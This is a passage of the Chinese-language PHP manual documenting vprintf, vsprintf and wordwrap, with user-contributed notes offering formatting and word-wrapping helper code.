+ 正数的加号 +前缀，默认负数的前缀是负号。
(space) | 空格填充结果。这是默认设置。
0 | 仅用 0 进行左侧数字填充。使用 s 标志符可以右侧填充。
'(char) | 用字符（char）填充结果。

Width

要么是整数，表示转换结果应该有多少个字符（最少），要么是 *。如果使用 *，那么宽度将作为额外的整数值提供，位于格式化符号之前。

Precision

小数点 .，可选的后跟整数或者 *，其含义取决于格式化符号：

  • e、E、f、F 标志符：小数点后需要打印的位数（默认是 6）。
  • g、G、h、H 标志符：这是要打印的最大有效位数。
  • s 标志符：充当分界点，为字符串设置最大字符限制。

Note: 如果小数点没有明确的精度值，则假设是 0。如果使用 *，则精度将作为额外的整数值提供，位于格式化符号之前。

标志符
标志符 | 说明
% 字面意思的百分号字符。不需要参数。
b | 参数视为整数并以二进制数字呈现。
c | 参数视为整数并以 ASCII 字符呈现。
d | 参数视为整数并以（有符号）十进制数字呈现。
e | 参数当做科学符号处理（例如 1.2e+2）。
E | 与 e 标志符相同，但使用大写字母（例如 1.2E+2）。
f | 参数当做浮点数处理且作为浮点数呈现（locale aware）。
F | 参数当做浮点数处理且作为浮点数呈现（non-locale aware）。
g

通用格式。

Let P equal the precision if nonzero, 6 if the precision is omitted, or 1 if the precision is zero. Then, if a conversion with style E would have an exponent of X:

If P > X ≥ ?4, the conversion is with style f and precision P ? (X + 1). Otherwise, the conversion is with style e and precision P ? 1.

G | Like the g specifier but uses E and f.
h | Like the g specifier but uses F. Available as of PHP 8.0.0.
H | Like the g specifier but uses E and F. Available as of PHP 8.0.0.
o | 参数视为整数并以八进制数字来呈现。
s | 参数视为字符串来呈现。
u | 参数视为整数并以无符号十进制数字呈现。
x | 参数视为整数并作为十六进制数字呈现（带小写字母）。
X | 参数视为整数并作为十六进制数字呈现（带大写字母）。

Warning

c 类型标志符忽略填充和宽度

Warning

Attempting to use a combination of the string and width specifiers with character sets that require more than one byte per character may result in unexpected results

变量将会强制转换为适合标志符的类型：

类型处理
类型 | 标志符
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

返回值

返回输出字符串的长度。

错误／异常

从 PHP 8.0.0 开始，如果参数个数为零，将抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [width] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [precision] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，当传递的参数少于所需的参数时会抛出 ValueError。在 PHP 8.0.0 之前，返回 false 并发出 E_WARNING。

更新日志

版本 | 说明
8.0.0 | 此函数失败时不再返回 false。
8.0.0 | 如果参数个数为零则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [width] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [precision] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 当传递的参数少于所需的参数时抛出 ValueError；以前该函数则会发出 E_WARNING。

示例

Example #1 vprintf()：补零整数

<?php
vprintf("%04d-%02d-%02d", explode('-', '1988-8-1'));
?>

以上示例会输出：

1988-08-01

参见

  • printf() - 输出格式化字符串
  • sprintf() - 返回格式化字符串
  • fprintf() - 将格式化后的字符串写入到流
  • vsprintf() - 返回格式化字符串
  • vfprintf() - 将格式化字符串写入流
  • sscanf() - 根据指定格式解析输入的字符
  • fscanf() - 从文件中格式化输入
  • number_format() - 以千位分隔符方式格式化一个数字
  • date() - 格式化 Unix 时间戳

User Contributed Notes

phpcoder at gmail dot com 17-Jul-2019 12:43
Using the ... operator, vprintf($format, $array) is basically just printf($format, ...$array).
steve at stevelockwood dot net 18-Dec-2014 08:42
If, instead of an array, you pass an object PHP will automatically cast the object as an array so you can use it directly in vprintf.
<?php
 $object = new stdClass();
 $object->Property1 = 'Value 1';
 $object->Property2 = 'Value 2';
vprintf('%-20s %-20s', $object);

/* will output
 Value 1              Value 2
*/
?>
Chris 18-Oct-2012 05:49
Another way to display arrays is use an array_walk(). This can be useful inline echo/print where a foreach wouldn't work, e.g.

<?php
echo "These errors: ", (unset)array_walk($msgs, function($a) { echo "<p>$a</p>"; } ), "must be corrected.";
?>
taken from &#34;Php Phrasebook&#34; 15-Jun-2008 10:55
<?php
$string = 'The site runs on PHP '.phpversion();
preg_match('/php ((\d)\.\d\.\d+)/i',$string,$matches);
print_r($matches);
vprintf('Match: %s<br /> Version %s; Major:%d.',$matches);
?>

output:
Array ( [0] => PHP 5.2.5 [1] => 5.2.5 [2] => 5 )
Match: PHP 5.2.5 Version 5.2.5; Major:5.

For preg_match:

If matches  is provided, then it is filled with the results of search. $matches[0] will contain the text that matched the full pattern, $matches[1]  will have the text that matched the first captured parenthesized subpattern, and so on.
badcop666 at hotmail dot com 28-Nov-2007 05:38
For blocks of text, sprintf() is slow according to my tests.

Also, having the mapping between place-holders and the list of actual variables or datastructures often makes this code difficult to read. But the printf() family are widely supported and have a huge range of nice features. Performance is a cold mistress though!

From an ease-of-reading and maintenance, debugging point of view, I much prefer HEREDOC and "...{$variable}..." methods.

For a block of HTML markup with place holders, the fastest by far was:-

?>
<div> markup etc<?= $variable ?>more markup
<?

My tests comprised 20 runs of a loop of 1 million iterations with output buffering, ditching the buffer on each loop.

The timings ranged from average 2.1msec/million repetitions for the <?= $var ?> method up to 7.6msec/million using printf().

I'll try some benchmarking tools too, since I just wrote this myself and it could be introducing bias, but they've run on dev servers with low load.

Hopefully interesting.
tehjosh at gamingg dot net 29-Jul-2007 07:19
To toolofthesystem at gmail dot com:

You don't need to use output buffering with vprintf() because you can use vsprintf(), which has the same functionality as vprintf(), except that it returns the resulting string instead of outputting it.
toolofthesystem at gmail dot com 27-Mar-2007 08:42
This function comes useful sometimes when trying to list information returned from MySQL:

function print_sql($query,$printf){
    $sql_sql = mysql_query($query);
    while($sql = mysql_fetch_row($sql_sql)){
        vprintf($printf,$sql);
    }
}

Unfortunately, this seems to sneak its way past output buffering when I tried creating an argument to allow it to be contained in a returned string... either that or I didn't do it right.
caleb at tekhawk dot com 29-Nov-2006 02:19
i know that you can use %1$s or %3$s to select the first or third string but how can you or can you use array names to select it

something like %'user'$s $'email'$s

i tend to add things to my databases over time and this could save loads of recoding


返回格式化字符串

  • ? vprintf
  • wordwrap ?
  • PHP Manual
  • 字符串 函数
  • 返回格式化字符串

vsprintf

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

vsprintf — 返回格式化字符串

说明

vsprintf(string $format, array $values): string

作用与 sprintf() 函数类似，但是接收一个数组参数，而不是一系列可变数量的参数。

参数

format

format 字符串通常由零或多个指令组成：普通字符（不包含 %）——直接复制到结果，转换规范——获取每个参数的结果。

转换规范遵循此原型： %[argnum$][flags][width][.precision]specifier.

Argnum

整数后跟美元符号 $，用于指定转换中要处理的参数数量。

标志
标志 | 说明
- 在指定字段宽度时左对齐，默认右对齐
+ 正数的加号 +前缀，默认负数的前缀是负号。
(space) | 空格填充结果。这是默认设置。
0 | 仅用 0 进行左侧数字填充。使用 s 标志符可以右侧填充。
'(char) | 用字符（char）填充结果。

Width

要么是整数，表示转换结果应该有多少个字符（最少），要么是 *。如果使用 *，那么宽度将作为额外的整数值提供，位于格式化符号之前。

Precision

小数点 .，可选的后跟整数或者 *，其含义取决于格式化符号：

  • e、E、f、F 标志符：小数点后需要打印的位数（默认是 6）。
  • g、G、h、H 标志符：这是要打印的最大有效位数。
  • s 标志符：充当分界点，为字符串设置最大字符限制。

Note: 如果小数点没有明确的精度值，则假设是 0。如果使用 *，则精度将作为额外的整数值提供，位于格式化符号之前。

标志符
标志符 | 说明
% 字面意思的百分号字符。不需要参数。
b | 参数视为整数并以二进制数字呈现。
c | 参数视为整数并以 ASCII 字符呈现。
d | 参数视为整数并以（有符号）十进制数字呈现。
e | 参数当做科学符号处理（例如 1.2e+2）。
E | 与 e 标志符相同，但使用大写字母（例如 1.2E+2）。
f | 参数当做浮点数处理且作为浮点数呈现（locale aware）。
F | 参数当做浮点数处理且作为浮点数呈现（non-locale aware）。
g

通用格式。

Let P equal the precision if nonzero, 6 if the precision is omitted, or 1 if the precision is zero. Then, if a conversion with style E would have an exponent of X:

If P > X ≥ ?4, the conversion is with style f and precision P ? (X + 1). Otherwise, the conversion is with style e and precision P ? 1.

G | Like the g specifier but uses E and f.
h | Like the g specifier but uses F. Available as of PHP 8.0.0.
H | Like the g specifier but uses E and F. Available as of PHP 8.0.0.
o | 参数视为整数并以八进制数字来呈现。
s | 参数视为字符串来呈现。
u | 参数视为整数并以无符号十进制数字呈现。
x | 参数视为整数并作为十六进制数字呈现（带小写字母）。
X | 参数视为整数并作为十六进制数字呈现（带大写字母）。

Warning

c 类型标志符忽略填充和宽度

Warning

Attempting to use a combination of the string and width specifiers with character sets that require more than one byte per character may result in unexpected results

变量将会强制转换为适合标志符的类型：

类型处理
类型 | 标志符
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

返回值

根据 format 和数组参数返回处理后的字符串。

错误／异常

从 PHP 8.0.0 开始，如果参数个数为零，将抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [width] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [precision] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，当传递的参数少于所需的参数时会抛出 ValueError。在 PHP 8.0.0 之前，返回 false 并发出 E_WARNING。

更新日志

版本 | 说明
8.0.0 | 此函数失败时不再返回 false。
8.0.0 | 如果参数个数为零则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [width] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [precision] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 当传递的参数少于所需的参数时抛出 ValueError；以前该函数则会发出 E_WARNING。

示例

Example #1 vsprintf(): 前导 0 的整数

<?php
print vsprintf("%04d-%02d-%02d", explode('-', '1988-8-1'));
?>

以上示例会输出：

1988-08-01

参见

  • printf() - 输出格式化字符串
  • sprintf() - 返回格式化字符串
  • fprintf() - 将格式化后的字符串写入到流
  • vprintf() - 输出格式化字符串
  • vfprintf() - 将格式化字符串写入流
  • sscanf() - 根据指定格式解析输入的字符
  • fscanf() - 从文件中格式化输入
  • number_format() - 以千位分隔符方式格式化一个数字
  • date() - 格式化 Unix 时间戳

User Contributed Notes

crash 06-Jul-2021 09:03
Note that this function now throws an ValueError* as of PHP 8.0 if there is an error:

$ php -r 'var_dump(vsprintf("%d", []));'
> Fatal error: Uncaught ValueError: The arguments array must contain 1 items, 0 given in Command line code:1

*ValueError is new in PHP 8.0, so if you want to make your code compatible to PHP 7.x you should test that the arguments array has the correct length.
steven at nevvix dot com 02-May-2018 04:14
<?php
/**
 * Return a formatted string like vsprintf() with named placeholders.
 *
 * When a placeholder doesn't have a matching key in `$args`,
 *   the placeholder is returned as is to see missing args.
 * @param string $format
 * @param array $args
 * @param string $pattern
 * @return string
 */
function p($format, array $args, $pattern="/\{(\w+)\}/") {
    return preg_replace_callback($pattern, function ($matches) use ($args) {
        return @$args[$matches[1]] ?: $matches[0];
    }, $format);
}

$args = ["database"=>"people", "user"=>"staff", "pass"=>"pass123", "host"=>"localhost"];

// With PHP-like placeholders: the variable is embedded in a string "{$database}" but without the dollar sign
$format = <<<SQL
CREATE DATABASE IF NOT EXISTS {database};
GRANT ALL PRIVILEGES ON {database_name}.* TO '{user}'@'{host}';
SET PASSWORD = PASSWORD('{pass}');
SQL;
echo p($format, $args);
/*
Result:

CREATE DATABASE IF NOT EXISTS people;
GRANT ALL PRIVILEGES ON {database_name}.* TO 'staff'@'localhost';
SET PASSWORD = PASSWORD('pass123');

The `{database_name}` placeholder doesn't exist as a matching key in `$args` so it's returned as is.
*/

// With Ruby-like placeholders
$format = <<<SQL
CREATE DATABASE IF NOT EXISTS :database;
GRANT ALL PRIVILEGES ON :database_name.* TO ':user'@':host';
SET PASSWORD = PASSWORD(':pass');
SQL;
echo p($format, $args, "/:(\w+)/");
/*
Result:

CREATE DATABASE IF NOT EXISTS people;
GRANT ALL PRIVILEGES ON :database_name.* TO 'staff'@'localhost';
SET PASSWORD = PASSWORD('pass123');

The `:database_name` placeholder doesn't exist as a matching key in `$args` so it's returned as is.
*/
ASchmidt at Anamera dot net 21-Nov-2017 06:58
It's necessary to clearly how to apply argument swapping when using an array of arguments. One might be tempted to use %0$ to reference $args[0].

In reality, the position specifier is always the array index+1:

$args[0]  is referenced by %1$...
$args[1]  is referenced by %2$...
etc.

Similarly, the first subpattern of a RegEx match would be found in $matches[1], the second in $match[2], etc. However if the $matches array is used as arguments to vsprint(), then the position specifier is subpattern+1:

preg_match( $pattern, $subject, $matches );
vsprintf( 'Full Match = %1$s, first Subpattern = %2$s, second Subpattern = %3$s', $matches );
spectrumcat 28-Sep-2016 10:51
Instead of inventing own functions in case you'd like to use array keys as placeholder names and replace corresponding array values in a string, just use the str_replace:

$string = 'Hello %name!';
$data = array(
  '%name' => 'John'
);

$greeting = str_replace(array_keys($data), array_values($data), $string);
dee jay simple zero07 at geemail dawt co 17-Jan-2013 05:03
Using a heredoc with vprintf:

<?php
$string = <<<THESTRING
I like the state of %1\$s <br />
I picked: %2\$d as a number, <br />
I also picked %2\$d as a number again <br />
%3\$s<br />
THESTRING;

$returnText = vprintf(  $string, array('Oregon','7','I Love Oregon')  );

echo $returnText;
?>
Josef Kufner 20-Nov-2012 11:51
<?php
/**
 * Like vsprintf, but accepts $args keys instead of order index.
 * Both numeric and strings matching /[a-zA-Z0-9_-]+/ are allowed.
 *
 * Example: vskprintf('y = %y$d, x = %x$1.1f', array('x' => 1, 'y' => 2))
 * Result:  'y = 2, x = 1.0'
 *
 * $args also can be object, then it's properties are retrieved
 * using get_object_vars().
 *
 * '%s' without argument name works fine too. Everything vsprintf() can do
 * is supported.
 *
 * @author Josef Kufner <jkufner(at)gmail.com>
 */
function vksprintf($str, $args)
{
    if (is_object($args)) {
        $args = get_object_vars($args);
    }
    $map = array_flip(array_keys($args));
    $new_str = preg_replace_callback('/(^|[^%])%([a-zA-Z0-9_-]+)\$/',
            function($m) use ($map) { return $m[1].'%'.($map[$m[2]] + 1).'$'; },
            $str);
    return vsprintf($new_str, $args);
}
?>
www dot wesley at gmail dot com 16-Jun-2008 01:56
vnsprintf is equal to vsprintf except for associative, signed or floating keys.

vnsprintf supports for example "%assocKey$05d", "%-2$'+10s" and "%3.2$05u", vsprintf doesn't

vnsprintf( '%2$d', $array) [2nd value] is equal to vsprintf( '%2$d', $array) [2nd value]
vnsprintf( '%+2$d', $array) [key = 2] is equal to vnsprintf( '%2.0$d', $array) [key = 2]
vnsprintf( '%+2$d', $array) [key = 2] is different of vsprintf( '%+2$d', $array) [unsupported]

When you use signed or floating keys, vnsprintf searchs for the signed truncated key of the original array

Note1: vnsprintf does not support for example "%someKeyf" (floating number, key = someKey) or "%+03d" (signed decimal number, key = 3), you should use "%someKey$f" or "%+03$d" respectively.
Note2: "%+03d" (or "%1$+03d") will be interpreted as signed zero-padded decimal number

<?php
function vnsprintf( $format, array $data)
{
    preg_match_all( '/ (?<!%) % ( (?: [[:alpha:]_-][[:alnum:]_-]* | ([-+])? [0-9]+ (?(2) (?:\.[0-9]+)? | \.[0-9]+ ) ) ) \$ [-+]? \'? .? -? [0-9]* (\.[0-9]+)? \w/x', $format, $match, PREG_SET_ORDER | PREG_OFFSET_CAPTURE);
    $offset = 0;
    $keys = array_keys($data);
    foreach ( $match as &$value )
    {
        if ( ( $key = array_search( $value[1][0], $keys) ) !== FALSE || ( is_numeric( $value[1][0]) && ( $key = array_search( (int)$value[1][0], $keys) ) !== FALSE ) ) {
            $len = strlen( $value[1][0]);
            $format = substr_replace( $format, 1 + $key, $offset + $value[1][1], $len);
            $offset -= $len - strlen( $key);
        }
    }
    return vsprintf( $format, $data);
}

$examples = array(
    2.8=>'positiveFloat',    // key = 2 , 1st value
    -3=>'negativeInteger',    // key = -3 , 2nd value
    'my_name'=>'someString'    // key = my_name , 3rd value
);

echo vsprintf( "%%my_name\$s = '%my_name\$s'\n", $examples);    // [unsupported]
echo vnsprintf( "%%my_name\$s = '%my_name\$s'\n", $examples);    // output : "someString"

echo vsprintf( "%%2.5\$s = '%2.5\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%2.5\$s = '%2.5\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%+2.5\$s = '%+2.5\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%+2.5\$s = '%+2.5\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%-3.2\$s = '%-3.2\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%-3.2\$s = '%-3.2\$s'\n", $examples);        // output : "negativeInteger"

echo vsprintf( "%%2\$s = '%2\$s'\n", $examples);            // output : "negativeInteger"
echo vnsprintf( "%%2\$s = '%2\$s'\n", $examples);            // output : [= vsprintf]

echo vsprintf( "%%+2\$s = '%+2\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%+2\$s = '%+2\$s'\n", $examples);        // output : "positiveFloat"

echo vsprintf( "%%-3\$s = '%-3\$s'\n", $examples);        // [unsupported]
echo vnsprintf( "%%-3\$s = '%-3\$s'\n", $examples);        // output : "negativeInteger"
?>
Roadster 30-Sep-2006 07:44
Please note: The same functionality (sortof) can be attained between version 4.0.4 and 4.1.0 using call_user_func_array.

Example:

call_user_func_array("sprintf", $arg)

First element of $arg is the format. This rescued me in a situation where version 4.1.0 wasn't available.
jon at ardentcreative dot co dot uk 17-Feb-2006 03:56
This can be used for quick and dirty internationalization:

<?php
$GLOBALS['strings']['example'] = "There are %d people.";

// Loads a phrase from the translations list in lang/$lang/phrases.php
function t() {
    $args = func_get_args();
    $nArgs = func_num_args();

    $phrase = array_shift($args);
    $nArgs--;

    include_once("../lang/" . lang() . "/phrases.php");
    if (isset($GLOBALS['strings'][$phrase])) {
        return vsprintf($GLOBALS['strings'][$phrase], $args);
    } else {
        return '<span style="color: #ff0000">Untranslated string: ' . $phrase . '</span>';
    }
}
?>
jed at NOSPAM dot jed dot bz 22-May-2004 06:48
vsprintf() accepts arrays with any keys, so the array_shift() technique is unnecessary when writing a printf-type function. Any parameters you require are easily unset from the array you retrieve with func_get_args():

<?php

function mysprintf($format) {
    $args = func_get_args();
    unset($args[0]); /* get rid of "$format" */
    return vsprintf($format, $args);
}

/* I use this technique in production code as follows: */
function logf($target, $string) {
    $args = func_get_args();
    unset($args[0], $args[1]);
    fprintf($GLOBALS['config']['logtargets'][$target],
        "[%s] %s\n", date('H:i'), wordwrap(vsprintf($string, $args), 75, '\n\r '));
}

/* e.g.:
    logf(DEBUG, "Oops! %s", mysql_error());
 */

?>

array_shift() and other costly array operations aren't required, as far as I know. I could be wrong.


打断字符串为指定数量的字串

  • ? vsprintf
  • 更新日志 ?
  • PHP Manual
  • 字符串 函数
  • 打断字符串为指定数量的字串

wordwrap

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

wordwrap — 打断字符串为指定数量的字串

说明

wordwrap(
string $string,
int $width = 75,
string $break = "\n",
bool $cut_long_words = false
): string

使用字符串断点将字符串打断为指定数量的字串。

参数

string

输入字符串。

width

列宽度。

break

使用可选的 break 参数打断字符串。

cut_long_words

如果 cut_long_words 设置为 true，字符串总是在指定的 width 或者之前位置被打断。因此，如果有的单词宽度超过了给定的宽度，它将被分隔开来。（参见第二个示例）。当它是 false，函数不会分割单词，哪怕 width 小于单词宽度。

返回值

返回打断后的字符串。

示例

Example #1 wordwrap() 示例

<?php
$text = "The quick brown fox jumped over the lazy dog.";
$newtext = wordwrap($text, 20, "<br />\n");

echo $newtext;
?>

以上示例会输出：

The quick brown fox<br />
jumped over the lazy<br />
dog.

Example #2 wordwrap() 示例

<?php
$text = "A very long woooooooooooord.";
$newtext = wordwrap($text, 8, "\n", true);

echo "$newtext\n";
?>

以上示例会输出：

A very
long
wooooooo
ooooord.

Example #3 wordwrap() 例子

<?php
$text = "A very long woooooooooooooooooord. and something";
$newtext = wordwrap($text, 8, "\n", false);

echo "$newtext\n";
?>

以上示例会输出：

A very
long
woooooooooooooooooord.
and
something

参见

  • nl2br() - 在字符串所有新行之前插入 HTML 换行标记
  • chunk_split() - 将字符串分割成小块

User Contributed Notes

michdingpayc 30-Jun-2022 07:23
A correction to ju1ius' utf-8 safe wordwrap from 10 years ago.
This version addresses issues where breaks were not being added to the first and last words in the input string.

<?php
function utf8_wordwrap($string, $width=75, $break="\n", $cut=false)
{
  if($cut) {
    // Match anything 1 to $width chars long followed by whitespace,
    // otherwise match anything $width chars long
    $search= '/(.{1,'.$width.'})(?:\s)|(.{'.$width.'})(?!$)/uS';
    $replace = '$1$2'.$break;
  } else {
    // Anchor the beginning of the pattern with a lookbehind
    // to avoid crazy backtracking when words are longer than $width
    $search= '/(?<=\s|^)(.{1,'.$width.'}\S*)(?:\s)/uS';
    $replace = '$1'.$break;
  }
  return preg_replace($search, $replace, $string);
}
?>
answers at clearcrescendo.com 12-Jul-2019 01:38
wordwrap() uses the break string as the line break detected, and the break inserted, so your text must be standardized to the line break you want in the wordwrap() output before using wordwrap, otherwise you will get line breaks inserted regardless of the location of existing line breaks in your text.

<?php
    $linebreak = '<br/>' . PHP_EOL;
    $width = 5;
    $standardized = preg_replace('/\r?\n/',$linebreak, "abc abc abc\nabc abc abc\r\nabc abc abc");
    echo 'Standardized EOL:', PHP_EOL, $standardized, PHP_EOL, PHP_EOL; // PHP_EOL for the command line, use '<br/>' for HTML.
    echo "Wrapped at $width:", PHP_EOL, wordwrap( $standardized, 7, $linebreak), PHP_EOL;
?>

$ php -f test.php
Standardized EOL:
abc abc abc<br/>
abc abc abc<br/>
abc abc abc

Wrapped at 5:
abc abc<br/>
abc<br/>
abc abc<br/>
abc<br/>
abc abc<br/>
abc
tuxedobob 22-May-2017 05:55
It should be noted that the behavior of the $break parameter is poorly explained.

If you specify the $break parameter, then *that string defines what the function considers a "newline"*.

Consider the following string:

$str = "Rumplestiltskin Schwartzmenikoff
1534 Gingerbread Lane
Black Forest, Germany";

You are trying to fit this address into a space that only allows for 22 characters, but you want it clear that you're continuing a previous line, so you want a space added. You might try this:

$str = wordwrap($str, 22, "\n>");

If you did that, you would end up with the following output:

"Rumplestiltskin
>Schwartzmenikoff
1534
>Gingerbread Lane
Black
>Forest, Germany"

This is because when you pass it a third parameter of "\n>", it assumes that entire string is a newline character. It's no longer using "\n". In your output, of course, \n is still a newline, so it appears to have extra lines.

If you're looking to wordwrap a multi-line string with something besides a newline character, make sure all existing linebreaks are already delineated with the string you pass to wordwrap().
simbiat at bk dot ru 08-Oct-2016 09:41
Some people use wordwrap as long text cutter. I have a slightly different approach for that. The function does not wrap the text, but returns the position where to cut. It preserves HTML tags (does not count them) and strips br tags and whitespaces at the end. I am looking into a way prevent HTML tags corruption which can happen at this time and also support BB tags like code and quote, so that they won't be counted as well. When I do, I'll post an updated version of the code.

<?php
function txtcut($string, $length) {
    $tag = false;
    $chars = 0;
    $position = 0;
    $split = str_split($string);
    foreach ($split as $char) {
        $position++;
        if ($char == "<") {
            $tag = true;
            continue;
        }
        if ($char == ">") {
            $tag = false;
            continue;
        }
        if ($tag == true) {
            continue;
        }
        $chars++;
        if ($chars >= $length) {
            if ($char == " " || $char == "\r" || $char == "\n") {
                $position--;
                break;
            }
        }
    }
    if ($position == strlen($string)) {
        return strlen($string);
    } else {
        $string = substr($string, 0, $position);
        if (substr($string, -4, 4) == "<br>") {
            $string = rtrim(substr($string, 0, -4));
        }
        return strlen($string);
    }
}
?>
kozimbek at mail dot ru 02-May-2015 01:17
After searching and being tired of many non-working mb_wordwrap functions at many places, I finally created a really simple and working solution

<?php
function mb_wordwrap($string, $limit)
{
    $string = strip_tags($string); //Strip HTML tags off the text
    $string = html_entity_decode($string); //Convert HTML special chars into normal text
    $string = str_replace(array("\r", "\n"), "", $string); //Also cut line breaks
    if(mb_strlen($string, "UTF-8") <= $limit) return $string; //If input string's length is no more than cut length, return untouched
    $last_space = mb_strrpos(mb_substr($string, 0, $limit, "UTF-8"), " ", 0, "UTF-8"); //Find the last space symbol position

    return mb_substr($string, 0, $last_space, "UTF-8").' ...'; //Return the string's length substracted till the last space and add three points
}
?>

The function simply searches the last space symbol in the range and returns the string cut till that position. No iterations, no regular expressions and no buffer overload. Tested with large Russian texts and works perfectly.
zac dot hester at gmail dot com 12-Mar-2015 02:28
I recently ran into the issue discussed by another contributor to this function (frans-jan at van-steenbeek dot R-E-M-O-V-E dot net).  The problem appeared to be how wordwrap() was treating white space.  Instead of writing my own version of wordwrap(), I discovered that the "break" parameter is not only used as the inserted string, but also used to detect the existing wrap delimiters (e.g. line endings).  If you can manage to "normalize" the wrap delimiters in your original string, you don't need to try to work-around the function wrapping at seemingly odd places (like immediately after one short word).  As one quick-and-dirty way to get wordwrap() to play nicely with most use-cases, I did this:

<?php
$break = strpos( $content, "\r" ) === false ? "\n" : "\r\n";
$content = wordwrap( $content, 78, $break );
?>

I also tend to normalize multi-line strings (if my OCD is acting up).  You would typically perform this conversion _before_ sending it off to wordwrap().

<?php
//quick and simple, but clobbers old-style Mac line-endings
$content = str_replace( "\r", '', $content );

//slower, but works with everything
$content = preg_replace( "/(\r\n|\r)/", "\n", $content );

//now, wordwrap() will behave exactly as expected
$content = wordwrap( $content, 78, "\n" );
?>
Alhadis 08-Jan-2015 12:30
For those interested in wrapping text to fit a width in *pixels* (instead of characters), you might find the following function useful; particularly for line-wrapping text over dynamically-generated images.

If a word is too long to squeeze into the available space, it'll hyphenate it as needed so it fits the container. This operates recursively, so ridiculously long words or names (e.g., URLs or this guy's signature - http://en.wikipedia.org/wiki/Wolfe+585,_Senior) will still keep getting broken off after they've passed the fourth or fifth lines, or whatever.

<?php

    /**
     * Wraps a string to a given number of pixels.
     *
     * This function operates in a similar fashion as PHP's native wordwrap function; however,
     * it calculates wrapping based on font and point-size, rather than character count. This
     * can generate more even wrapping for sentences with a consider number of thin characters.
     *
     * @static $mult;
     * @param string $text - Input string.
     * @param float $width - Width, in pixels, of the text's wrapping area.
     * @param float $size - Size of the font, expressed in pixels.
     * @param string $font - Path to the typeface to measure the text with.
     * @return string The original string with line-breaks manually inserted at detected wrapping points.
     */
    function pixel_word_wrap($text, $width, $size, $font){

        #    Passed a blank value? Bail early.
        if(!$text) return $text;

        #    Check if imagettfbbox is expecting font-size to be declared in points or pixels.
        static $mult;
        $mult    =    $mult ?: version_compare(GD_VERSION, '2.0', '>=') ? .75 : 1;

        #    Text already fits the designated space without wrapping.
        $box    =    imagettfbbox($size * $mult, 0, $font, $text);
        if($box[2] - $box[0] / $mult < $width)    return $text;

        #    Start measuring each line of our input and inject line-breaks when overflow's detected.
        $output        =    '';
        $length        =    0;

        $words        =    preg_split('/\b(?=\S)|(?=\s)/', $text);
        $word_count    =    count($words);
        for($i = 0; $i < $word_count; ++$i){

            #    Newline
            if(PHP_EOL === $words[$i])
                $length    =    0;

            #    Strip any leading tabs.
            if(!$length) $words[$i]    =    preg_replace('/^\t+/', '', $words[$i]);

            $box    =    imagettfbbox($size * $mult, 0, $font, $words[$i]);
            $m        =    $box[2] - $box[0] / $mult;

            #    This is one honkin' long word, so try to hyphenate it.
            if(($diff = $width - $m) <= 0){
                $diff    =    abs($diff);

                #    Figure out which end of the word to start measuring from. Saves a few extra cycles in an already heavy-duty function.
                if($diff - $width <= 0)    for($s = strlen($words[$i]); $s; --$s){
                    $box    =    imagettfbbox($size * $mult, 0, $font, substr($words[$i], 0, $s) . '-');
                    if($width > ($box[2] - $box[0] / $mult) + $size){
                        $breakpoint    =    $s;
                        break;
                    }
                }

                else{
                    $word_length    =    strlen($words[$i]);
                    for($s = 0; $s < $word_length; ++$s){
                        $box    =    imagettfbbox($size * $mult, 0, $font, substr($words[$i], 0, $s+1) . '-');
                        if($width < ($box[2] - $box[0] / $mult) + $size){
                            $breakpoint    =    $s;
                            break;
                        }
                    }
                }

                if($breakpoint){
                    $w_l    =    substr($words[$i], 0, $s+1) . '-';
                    $w_r    =    substr($words[$i],     $s+1);

                    $words[$i]    =    $w_l;
                    array_splice($words, $i+1, 0, $w_r);
                    ++$word_count;
                    $box    =    imagettfbbox($size * $mult, 0, $font, $w_l);
                    $m        =    $box[2] - $box[0] / $mult;
                }
            }

            #    If there's no more room on the current line to fit the next word, start a new line.
            if($length > 0 && $length + $m >= $width){
                $output    .=    PHP_EOL;
                $length    =    0;

                #    If the current word is just a space, don't bother. Skip (saves a weird-looking gap in the text).
                if(' ' === $words[$i]) continue;
            }

            #    Write another word and increase the total length of the current line.
            $output    .=    $words[$i];
            $length +=    $m;
        }

        return $output;
    };

?>
phil_marmotte at yahoo dot fr 13-Jun-2014 01:13
Another Word wrap from left or right :

public static function myWordWrap ($string, $length=3, $wrap=',', $from='left') {
        if ($from=='left') $txt=wordwrap($string, $length, $wrap, true);
            if ($from=='right') {
                $m = strlen($string)%$length;
                if ($m < strlen($string))
                    $txt = substr($string,0,$m).$wrap.wordwrap(substr($string,$m),$length, $wrap, true);
                else
                    $txt = $string;
            }

            return $txt;
       }
maikuolan at gmail dot com 11-Apr-2013 06:23
(Re: kouber at php dot net).

Testing out your function, I can confirm that it works, and it works very well.

